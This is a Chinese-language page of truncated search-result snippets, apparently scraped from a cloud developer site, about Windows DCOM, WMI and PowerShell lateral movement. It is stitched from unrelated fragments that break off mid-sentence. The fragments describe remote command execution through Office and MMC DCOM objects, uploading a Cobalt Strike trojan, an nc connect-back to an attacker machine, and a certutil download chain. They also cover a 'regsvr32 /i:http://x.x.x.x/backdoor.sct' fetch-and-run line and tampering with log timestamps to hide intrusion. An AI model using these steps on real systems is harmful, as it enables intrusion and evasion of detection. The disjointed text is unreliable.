通过PowerShell更改DCOM对象权限后，需要重新启动DCOM服务。
描述: 该cmdlet将计算机配置为接收通过使用WS-Management技术发送的PowerShell远程命令。...更改所有会话配置的安全描述符，以允许远程访问。 重新启动WinRM服务以使前面的更改生效。...，作业对象存储在`$job`变量中`$Job`通过管道发送到获取结果的'Receive Job'cmdlet。...可以通过进程名称或进程ID（PID）指定进程，也可以将进程对象通过管道传送到此cmdlet。...{$_.Name -like "B*"} # 获取以B开头的服务相关信息 Get-service | Where-Object {$_.Status -eq "Running"} # 对象有哪些属性后就可以采取过滤
其实网上很多都是获取DCOM列表，然后就用一些MMC20等执行，细细一想，其实查询DCOM这步其实没有什么用，我猜测，查询DCOM列表的目的是找到合适的DCOM组件，然后查询它是否有命令执行或者一些其他什么功能...，但是我无法通过DCOM查询到CLSID或者是ProgID，所以没法判断DCOM能够执行什么功能 2、使用DCOM执行任意命令 首先要一个管理员权限的shell ?...调用Excel.Application远程执行命令 # 通过PowerShell与DCOM进行远程交互，创建Excel.Application对象的实例: $com = [activator]::CreateInstance...调用Visio.Application远程执行命令 适用条件：目标主机中安装有Visio # 通过PowerShell与DCOM进行远程交互，创建Visio.Application对象的实例: $com...通过Outlook创建Shell.Application对象来实现命令行执行 # 通过PowerShell与DCOM进行远程交互，创建Visio.Application对象的实例: $com =[activator
攻击者可使用 DCOM 进行横向移动，通过 DCOM，攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。...我们在本地启动一个管理员权限的powershell，执行如下命令通过PowerShell与DCOM进行交互，创建一个“MMC20.Application”对象的实例（我们只需要提供一个DCOM ProgID...使用方法如下： # 通过PowerShell与DCOM进行远程交互，创建Excel.Application对象的实例:$com = [activator]::CreateInstance([type]:...使用方法如下： # 通过PowerShell与DCOM进行远程交互，创建Visio.Application对象的实例:$com = [activator]::CreateInstance([type]:...通过Outlook创建Shell.Application对象来实现命令行执行： # 通过PowerShell与DCOM进行远程交互，创建Visio.Application对象的实例:$com = [activator
从目标对象来说，横向移动威胁的不是某一台主机，而是多台主机，甚至整个内网。从黑客目的来说，黑客要利用他掌握的信息威胁企业，必须掌握到关键且大量的数据，就要通过横向移动不断扩大资产范围。...攻击者可使用 DCOM 进行横向移动，通过 DCOM，攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。...cs生成木马使用copy命令上传到靶机 3.调用DCOM远程执行命令 调用MMC20.Application远程执行命令 通过PowerShell与DCOM进行远程交互，此外，我们只需要提供一个DCOM...PowerShell与DCOM进行远程交互，创建Excel.Application对象的实例: $com = [activator]::CreateInstance([type]::GetTypeFromprogID...比如，通过配置防火墙的进站/出站规则阻止445端口的连接，能防范利用SMB协议漏洞的攻击；启用防火墙禁止RDP流量能防止RDP远程连接系统；启动域防火墙能阻止DCOM对象实例化。
分布式组件对象模型(DCOM)远程协议是一种通过远程调用(RPC)公开应用程序对象的协议。 在windows注册表包含3个标识符中的DCOM配置数据： CLSID：类标识符是全局唯一标识符。...如果 APPID 不正确，DCOM 将无法工作。 一个DCOM运行流程 •客户端请求远程计算机通过CLSID或者PROGID创建一个对象。...如果通过了APPID，远程计算机将会使用PROGID查找CLSID。•远程计算机检查APPID并且验证客户端是否具有创建对象权限。...0x02 DCOM利用 2.1 获得DCOM列表 在windows7，server08中默认是powershell2.0，在server12及以上默认为powershell3.0以上。...powershell2.客户端关闭防火墙3.服务端需要域管的administrator账户或者目标主机具有管理员权限的账户4.双方主机都需有MMC Application Class这个DCOM组件。
RPC/DCOM MITRE ATT&CK矩阵将Microsoft Windows分布式组件对象模型（DCOM）确定为一种有效的横向移动技术，可用于使用远程过程调用（RPC）技术（ID:T1175）将组件对象模型...本质上，通过DCOM启动的应用程序可以通过网络远程访问，通常是通过更高的TCP端口范围。Windows注册表强制执行访问控制列表，以限制与本地和远程服务器COM对象交互的权限。...默认情况下，启用Windows防火墙将阻止DCOM实例化（即阻止对这些更高端口的访问），而监视和检测尝试加载DLL和其他通常与应用程序无关的模块的COM对象是利用Microsoft Office DCOM...您可以通过以管理员权限运行的PowerShell控制台启用PowerShell远程处理，并将所有远程主机设置为受信任。为远程管理更新WinRM后，将在HTTP端口5985/tcp上启动侦听器。...删除日志中的恶意条目后，可以使用PowerShell更改每个日志文件的文件属性LastWriteTime、LastAccessTime和CreationTime。
利用这个接口，客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM（组件对象模型）的扩展，它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。...DCOM 使用远程过程调用（RPC）技术将组件对象模型（COM）的功能扩展到本地计算机之外，因此，在远程系统上托管COM服务器端的软件（通常在DLL或exe中）可以通过RPC向客户端公开其方法。...攻击者可使用 DCOM 进行横向移动，通过 DCOM，攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。...copy命令上传到靶机 3.调用DCOM远程执行命令 调用MMC20.Application远程执行命令 通过PowerShell与DCOM进行远程交互，此外，我们只需要提供一个DCOM ProgID和一个...PowerShell与DCOM进行远程交互，创建Excel.Application对象的实例:$com = [activator]::CreateInstance([type]::GetTypeFromprogID
如果你能获取到目标系统的管理员权限（通过PowerShell），你将能做到如下所示的东西： - dir\\target\system32\mobsync.exe //shouldnot exist...通过DIR命令查询后，我们发现磁盘中并没有C:\WINDOWS\system32\IntelCpHDCPSvc.exe： ?...由于在真实的攻击中我们很少能够看到IntelCpHDCPSvc的身影，因此我想看看能否可以利用DCOM来做些什么。...远程Payload执行和横向渗透 首先我们需要满足以下条件： 在远程实例化DCOM对象之前，我们需要拿到管理员权限。 为了发挥Payload的作用，我们将尝试渗透目标主机所在域环境。...监控网络环境中的异常PowerShell操作，尽量强制启用PowerShell的受限语言模式（CLM）。
，当然得拿shell了 1.1 at计划任务拿shell(管理员权限） 因为要设置计划任务，可能需要对照时间，当然你如果想每分钟就执行一次，就当我没说。...1.3 创建Windows服务来进行横向渗透 依赖条件： - 当前跳板机用户具有管理员权限(因为要创建服务)。...这包括授予各个组的权限，以在本地和远程实例化和访问关联的类 为了使DCOM可访问COM对象，必须将AppID与该类的CLSID关联，并且需要为该AppID提供适当的权限。...在powershell中我们可以使用 get-CimInstance来列出本地COM程序列表 远程DCOM对象的实例表现如下： 客户端计算机从远程计算机请求实例化由CLSID表示的对象。...6.Outlook 在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互，这些对象通常不会由DCOM公开。
什么是 WMI 让我们快速回顾一些重要术语，WMI 是 Windows Management Instrumentation 的缩写，它是 Microsoft 对 CIM (Common Information...PowerShell 版本，并将版本更改为 2： 提示：这些命令的名称是见名知意的 (稍后我们还会深入讨论)。...从 PowerShell v3 开始，MS 引入了 CIM cmdlet，它利用 WS-MAN 和 CIM 标准来管理对象，访问 CIM cmdlet 在两种情况下具有优势： 在 WMI/DCOM 本身被阻止运行...DCOM：分布式组件对象模型的别名，DCOM 是网络计算机上软件组件之间通信的专有 Microsoft 协议。WMI 使用分布式 COM (DCOM) 连接到远程计算机。...我们将重做上面所做的，但在将 Powershell 版本更改回默认版本后 (在示例中使用了 Powershell v5)： CIM cmdlet 可以做 WMI cmdlet 所能做的一切。
image.png image.png 所以我们看到，即使通过 WMI，尽管 wmic.exe 能够通过 Powershell 在目标上运行命令，但仍会创建命名管道，那么为什么首先要创建命名管道呢...image.png DCOM 组件对象模型 (COM) 是一种由具有不同应用程序和语言的进程使用的协议，因此它们可以相互通信。...COM 对象不能通过网络使用，网络引入了分布式 COM (DCOM) 协议。...我杰出的同事Matt Nelson通过 DCOM发现了一种横向移动技术，通过 Microsoft 管理控制台 (MMC) 2.0 脚本对象模型中的 ExecuteShellCommand 方法，该模型用于系统管理服务器管理功能...这通过将 SMB 上载权限（即管理权限）上传到目标上的 C$ 共享来实现，然后您可以将无阶段二进制文件上传到并通过 wmic 执行它，如下所示。 请注意，信标不会“签入”。
Threat Hunting#16 — 通过 DCOM 的 ShellWindows & ShellBrowserWindow 进行横向渗透 Windows 分布式组件对象模型（DCOM）是一种透明的中间件...通过COM，客户机对象可以调用服务器对象的方法，这些对象通常是动态链接库（dll）或可执行文件（exe） 与本地和远程服务器 COM 对象交互的权限由访问控制列表（ACL）在注册表中决定。...默认情况下，只有管理员可以通过 DCOM 远程激活和启动 COM 对象。...攻击者可使用 DCOM 进行横向移动，通过 DCOM，攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程获取任意甚至直接的 shellcode...，cmd.exe、powershell.exe 等）都将是 explorer.exe 的子进程。
以下用户拥有SeImpersonatePrivilege权限： 本地管理员账户和本地服务账户 由SCM（服务控制管理器）启动的服务 由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运⾏的...DCOM 来使服务向攻击者监听的端⼝发起连接并进⾏NTLM认证。...DCOM主要是Windows的一个封装的组件，可以交互通讯，利用这个接口，可以对网络发送请求。...CLSID/ 实验 环境预设： win7 -- 账户：bai（⾮administrators组），ip：192.168.195.129，拥有 SeImpersonatePrivilege（身份验证后模拟客户端...cmd框，但是这里仅限于可以远程3389链接的主机，如果我们是纯粹的命令行要怎么办呢，这里我们就需要写一个bat脚本来运行一个nc，去连接到黑客机器来获取权限。
另外，发送的命令是通过命名管道发送的，该管道在CS中具有默认名称（可以更改）。 Red Canary撰写了一篇有关检测它的出色文章。...因此，我们看到即使通过WMI，尽管wmic.exe能够通过PowerShell在目标上运行命令，但仍创建了命名管道，那么为什么要首先创建命名管道呢？...DCOM 组件对象模型（COM）是具有不同应用程序和语言的进程使用的一种协议，因此它们彼此通信。 COM对象不能在引入了分布式COM（DCOM）协议的网络上使用。...我出色的同事Matt Nelson通过Microsoft管理控制台（MMC）2.0脚本对象模型中的ExecuteShellCommand方法，通过DCOM发现了一种横向移动技术，该方法用于系统管理服务器的管理功能...这是通过对目标C $共享具有SMB的上载特权（即管理权限）来实现的，然后您可以将其无阶段的二进制文件上载到并通过wmic或DCOM执行。 请注意，beacon 没有“check in”。
它支持分布式组件对象模型（DCOM）和Windws远程管理（WinRM），用户可通过WMI服务访问、配置、管理和监视Windows所有资源的功能，对于其他的Win32操作系统来讲WMI是一个非常不错的插件...3）通过连接默认的命令空间，可以看到如下内容，如图1-3所示。 4）通过点击“查询”模块，可执行WQL语句对所需要的内容进行查询，如图1-4所示。5）在此输入我们要执行的WQL语句。...Powershell是windows下功能很强大的脚本语言，其内部包含了及其丰富与WMI进行交互的功能。9）通过Powershell与WMI进行更多的交互，如图1-7所示。...powershell //切换到Powershell10）若要通过Powershell查看当前系统中所有属性可以执行如下命令操作，执行完毕后如图1-8所示。...Winrm是WS 管理协议的 Microsoft 实现，WS 管理协议是一种基于简单对象访问协议 （SOAP） 的标准防火墙友好型协议，当我们开启winrm服务后占用的端口(默认情况下，Winrm http
WinRM 使用端口 80 完成此操作，端口 80 是一种标准的 Internet 服务端口，大多数防火墙都打开此端口（不过，可根据需要更改 WinRM 和默认传输机制 HTTP 使用的端口）。...使用该技术可更轻松地通过 Internet 甚至防火墙管理计算机。...这并没有什么问题，只是在默认情况下，许多防火墙都会阻止 DCOM 通信。...的确，您可以打开相应的端口并允许 DCOM 通信，但许多网络管理员并不愿意这样做，他们很担心为 DCOM 放行的同时还会带来各种类型的恶意损害。...Powershell 使用WinRM 作为远程传输协议。最新版本的 Powershell 2.0 CTP3 可以下载: http://go.microsoft.com/fwlink/?
Automation错误，是系统无法捕获的错误，根据以前遇到此问题的经验，通常有以下几种可能： 1、客户端的MDAC程序出现问题，通过安装MDAC2.8来解决； 2、服务器的MSDTC没有正常启动，或启动用户的权限有问题...，请检查组件服务中的MSDTC并使用具有启动权限的用户来启动； 3、客户端的分布式DCOM没有正常启动，请检查客户端的DCOM配置属性中是否选择上“在本机启用分布式COM”选项。...出现“ActiveX部件不能创建对象”引起不能删除凭证的问题，一般都是由于组件注册不正确造成的。可以采用以下方法进行解决： 1.重启或注销中间层服务器后，注册中间层组件，要全部选择。...(greatdiscovery注:我在一个客户处碰到除了中间层上的客户端登录正常外,其他所有的客户端登录时都出现"拒绝的的权限,70",也是这样解决的) 3.在中间层服务器上，通过“开始”菜单——运行—...如果部分客户端能正常登录并使用,而个别客户端不能正常登录,提示"automation"错误或"拒绝的权限,70",按如下方法进行处理后在进行机器重新启动后仍然出现上面的误提示, 控制面板—管理工具—组件服务
什么是无文件攻击？...与大多数接受并返回文本的 shell 不同，PowerShell 构建在 .NET 公共语言运行时 (CLR) 的基础之上，接受并返回 .NET 对象。...上述方法运行完regsvr32.exe /s /i:http://x.x.x.x/backdoor.sct scrobj.dll后,scrobj.dll会创建COM对象，并写入注册表中，可以从HKEY_CLASSES_ROOT...利用链：powershell调用certutil下载然后调用Dcom组件执行恶意代码，麻烦＝隐蔽哈哈哈 这里演示的是调用Excel.Application这个dcom组件，别的可利用的com对象可以看我的另一篇关于...理论上是可以的哈哈哈哈 利用certUtil简便快捷，但是使用后需要注意清除缓存 5.msxsl.exe利用 这个是winddows发布的一个组件但是它并没有安装在windows操作系统中，那么为什么要利用它
WMI 背景 ---- WMI 是什么？Windows管理规范（WMI）是Microsoft对基于Web的业务管理标准（WBEM），公共信息模型（CIM）和分布式管理任务组（DMTF）的实现。...Remote WMI Protocols ---- WMI 可以使用两种协议用于Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM)。...DCOM Microsoft 在TCP 135 端口和一系列的动态端口（不同版本不一样） 运行DCE RPC end-point mapper为它的DCOM服务 端口可通过注册表项 HKEY_LOCAL_MACHINE...需要明确的是两种协议均支持NTLM or Kerberos，也就是说，Pass The Hash和Pass The Ticket对 Wmi 和WinRM均适用 Powershell-DCOM ----...'@ $EncodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText)) #序列化后对象之后编码为
说白了就是使用工具将散列值传递到其他计算机中，进行权限验证，实现对远程计算机的控制 在实际测试中，更新KB287l997后无法使用常规的哈希传递方法进行横向移动，但Administrator账号（SID...五、PsExec PsExec是微软官方PsTools工具包中的软件 起初主要是用于大批量Windows主机的运维，在域环境下效果甚好 通过PsExec，可以在远程计算机上执行命令，也可以将管理员权限提升到...PsExec的基本原理是：通过管道在远程目标计算机上创建一个psexec服务，并在本地磁盘中生成一个名为“PSEXECSVC”的二进制文件，然后通过psexec服务运行命令，运行结束后删除任务 需要远程系统开启...在远程系统中的使用 DCOM（Distributed Component Object Model，分布式组件对象模型）是微软的一系列概念和程序接口 基于组件对象模型（COM），COM提供了一套允许在同一台计算机上的客户端和服务端之间进行通信的接口...（Win95及之后） 客户端程序对象能够对网络中的另一台计算机上的服务器程序对象发送请求 执行流程同样： 通过ipc$连接远程计算机 执行命令 1、通过本地DCOM执行命令 获取DCOM程序列表： //
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
